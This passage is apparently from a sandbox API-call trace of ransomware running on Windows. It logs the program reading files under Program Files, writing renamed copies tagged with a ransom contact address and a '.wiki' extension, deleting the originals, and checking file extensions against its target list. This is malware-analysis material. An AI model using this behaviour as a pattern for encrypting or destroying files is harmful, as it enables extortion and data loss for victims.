shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0055.376] GetLastError () returned 0x0 [0055.376] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x1ac96, lpOverlapped=0x0) returned 1 [0055.596] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1aca0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x1aca0, lpOverlapped=0x0) returned 1 [0055.639] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.639] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0055.639] SetEndOfFile (hFile=0x1fc) returned 1 [0055.639] CloseHandle (hObject=0x1fc) returned 1 [0055.639] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.639] SetEndOfFile (hFile=0x1f0) returned 1 [0055.641] CloseHandle (hObject=0x1f0) returned 1 [0055.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0055.641] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 1 [0055.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0055.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0055.641] lstrlenW (lpString=".doc") returned 4 [0055.641] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0055.641] lstrlenW (lpString=".docx") returned 5 [0055.641] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0055.641] lstrlenW (lpString=".pdf") returned 4 [0055.641] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0055.641] lstrlenW (lpString=".xls") returned 4 [0055.641] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0055.641] lstrlenW (lpString=".xlsx") returned 5 [0055.641] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0055.641] lstrlenW (lpString=".ppt") returned 4 [0055.641] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0055.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0055.642] lstrlenW (lpString=".zip") returned 4 [0055.642] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0055.642] lstrlenW (lpString=".rar") returned 4 [0055.642] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0055.642] lstrlenW (lpString=".bz2") returned 4 [0055.642] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0055.642] lstrlenW (lpString=".7z") returned 3 [0055.642] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0055.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0055.642] lstrlenW (lpString=".dbf") returned 4 [0055.642] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0055.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0055.642] lstrlenW (lpString=".1cd") returned 4 [0055.642] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0055.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0055.642] lstrlenW (lpString=".jpg") returned 4 [0055.642] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0055.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0055.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0055.642] lstrlenW (lpString=".doc") returned 4 [0055.642] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0055.642] lstrlenW (lpString=".docx") returned 5 [0055.642] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0055.642] lstrlenW (lpString=".pdf") returned 4 [0055.642] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0055.642] lstrlenW (lpString=".xls") returned 4 [0055.642] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0055.642] lstrlenW (lpString=".xlsx") returned 5 [0055.642] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0055.642] lstrlenW (lpString=".ppt") returned 4 [0055.642] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0055.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0055.642] lstrlenW (lpString=".zip") returned 4 [0055.642] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0055.642] lstrlenW (lpString=".rar") returned 4 [0055.643] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0055.643] lstrlenW (lpString=".bz2") returned 4 [0055.643] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0055.643] lstrlenW (lpString=".7z") returned 3 [0055.643] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0055.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0055.643] lstrlenW (lpString=".dbf") returned 4 [0055.643] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0055.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0055.643] lstrlenW (lpString=".1cd") returned 4 [0055.643] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0055.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0055.643] lstrlenW (lpString=".jpg") returned 4 [0055.643] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0055.643] lstrcmpiW (lpString1=".CHM", lpString2=".wiki") returned -1 [0055.643] lstrlenW (lpString="VBLR6.CHM") returned 9 [0055.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0055.643] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=944994) returned 1 [0055.643] CloseHandle (hObject=0x1f0) returned 1 [0055.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0055.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0055.644] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.644] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0055.644] GetLastError () returned 0x0 [0055.644] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0xe6b62, lpOverlapped=0x0) returned 1 [0055.746] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe6b70, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6b70, lpOverlapped=0x0) returned 1 [0056.037] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.037] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0056.037] SetEndOfFile (hFile=0x1fc) returned 1 [0056.037] CloseHandle (hObject=0x1fc) returned 1 [0056.038] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.038] SetEndOfFile (hFile=0x1f0) returned 1 [0056.045] CloseHandle (hObject=0x1f0) returned 1 [0056.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0056.045] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 1 [0056.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0056.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0056.268] lstrlenW (lpString=".doc") returned 4 [0056.268] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0056.268] lstrlenW (lpString=".docx") returned 5 [0056.268] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0056.268] lstrlenW (lpString=".pdf") returned 4 [0056.268] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0056.268] lstrlenW (lpString=".xls") returned 4 [0056.268] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0056.268] lstrlenW (lpString=".xlsx") returned 5 [0056.268] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0056.268] lstrlenW (lpString=".ppt") returned 4 [0056.268] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0056.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0056.268] lstrlenW (lpString=".zip") returned 4 [0056.268] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0056.268] lstrlenW (lpString=".rar") returned 4 [0056.268] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0056.268] lstrlenW (lpString=".bz2") returned 4 [0056.268] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0056.268] lstrlenW (lpString=".7z") returned 3 [0056.268] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0056.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0056.268] lstrlenW (lpString=".dbf") returned 4 [0056.268] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0056.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0056.268] lstrlenW (lpString=".1cd") returned 4 [0056.268] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0056.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0056.269] lstrlenW (lpString=".jpg") returned 4 [0056.269] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0056.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0056.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0056.269] lstrlenW (lpString=".doc") returned 4 [0056.269] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0056.269] lstrlenW (lpString=".docx") returned 5 [0056.269] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0056.269] lstrlenW (lpString=".pdf") returned 4 [0056.269] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0056.269] lstrlenW (lpString=".xls") returned 4 [0056.269] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0056.269] lstrlenW (lpString=".xlsx") returned 5 [0056.269] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0056.269] lstrlenW (lpString=".ppt") returned 4 [0056.269] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0056.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0056.269] lstrlenW (lpString=".zip") returned 4 [0056.269] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0056.269] lstrlenW (lpString=".rar") returned 4 [0056.269] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0056.269] lstrlenW (lpString=".bz2") returned 4 [0056.269] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0056.269] lstrlenW (lpString=".7z") returned 3 [0056.269] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0056.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0056.269] lstrlenW (lpString=".dbf") returned 4 [0056.269] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0056.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0056.269] lstrlenW (lpString=".1cd") returned 4 [0056.269] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0056.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0056.269] lstrlenW (lpString=".jpg") returned 4 [0056.269] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0056.270] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0056.270] lstrlenW (lpString="16to9Squareframe_Buttongraphic.png") returned 34 [0056.270] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0056.693] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=10123) returned 1 [0056.693] CloseHandle (hObject=0x200) returned 1 [0056.693] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png")) returned 0x20 [0056.693] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.693] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.693] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0056.693] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0056.693] lstrlenW (lpString=".doc") returned 4 [0056.693] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.693] lstrlenW (lpString=".docx") returned 5 [0056.693] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0056.693] lstrlenW (lpString=".pdf") returned 4 [0056.693] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.693] lstrlenW (lpString=".xls") returned 4 [0056.693] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.693] lstrlenW (lpString=".xlsx") returned 5 [0056.693] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0056.693] lstrlenW (lpString=".ppt") returned 4 [0056.693] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.693] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0056.693] lstrlenW (lpString=".zip") returned 4 [0056.693] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.693] lstrlenW (lpString=".rar") returned 4 [0056.693] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.693] lstrlenW (lpString=".bz2") returned 4 [0056.694] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.694] lstrlenW (lpString=".7z") returned 3 [0056.694] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.694] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0056.694] lstrlenW (lpString=".dbf") returned 4 [0056.694] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.694] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0056.694] lstrlenW (lpString=".1cd") returned 4 [0056.694] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.694] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0056.694] lstrlenW (lpString=".jpg") returned 4 [0056.694] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.694] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0056.694] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0056.694] lstrlenW (lpString=".doc") returned 4 [0056.694] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.694] lstrlenW (lpString=".docx") returned 5 [0056.694] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0056.694] lstrlenW (lpString=".pdf") returned 4 [0056.694] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.694] lstrlenW (lpString=".xls") returned 4 [0056.694] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.694] lstrlenW (lpString=".xlsx") returned 5 [0056.694] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0056.694] lstrlenW (lpString=".ppt") returned 4 [0056.694] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.694] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0056.694] lstrlenW (lpString=".zip") returned 4 [0056.694] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.694] lstrlenW (lpString=".rar") returned 4 [0056.694] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.694] lstrlenW (lpString=".bz2") returned 4 [0056.694] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.694] lstrlenW (lpString=".7z") returned 3 [0056.694] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.695] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0056.695] lstrlenW (lpString=".dbf") returned 4 [0056.695] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.695] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0056.695] lstrlenW (lpString=".1cd") returned 4 [0056.695] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.695] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0056.695] lstrlenW (lpString=".jpg") returned 4 [0056.695] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.695] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0056.695] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32 [0056.695] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0057.171] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=5088) returned 1 [0057.171] CloseHandle (hObject=0x21c) returned 1 [0057.172] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png")) returned 0x20 [0057.172] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0057.172] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.172] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0057.172] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0057.172] lstrlenW (lpString=".doc") returned 4 [0057.172] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.172] lstrlenW (lpString=".docx") returned 5 [0057.172] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0057.172] lstrlenW (lpString=".pdf") returned 4 [0057.172] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.172] lstrlenW (lpString=".xls") returned 4 [0057.172] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.172] lstrlenW (lpString=".xlsx") returned 5 [0057.172] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0057.172] lstrlenW (lpString=".ppt") returned 4 [0057.172] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.172] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0057.172] lstrlenW (lpString=".zip") returned 4 [0057.172] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.172] lstrlenW (lpString=".rar") returned 4 [0057.172] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.172] lstrlenW (lpString=".bz2") returned 4 [0057.172] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.172] lstrlenW (lpString=".7z") returned 3 [0057.172] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.172] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0057.172] lstrlenW (lpString=".dbf") returned 4 [0057.172] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.172] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0057.173] lstrlenW (lpString=".1cd") returned 4 [0057.173] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.173] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0057.173] lstrlenW (lpString=".jpg") returned 4 [0057.173] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.173] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0057.173] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0057.173] lstrlenW (lpString=".doc") returned 4 [0057.173] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.173] lstrlenW (lpString=".docx") returned 5 [0057.173] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0057.173] lstrlenW (lpString=".pdf") returned 4 [0057.173] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.173] lstrlenW (lpString=".xls") returned 4 [0057.173] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.173] lstrlenW (lpString=".xlsx") returned 5 [0057.173] 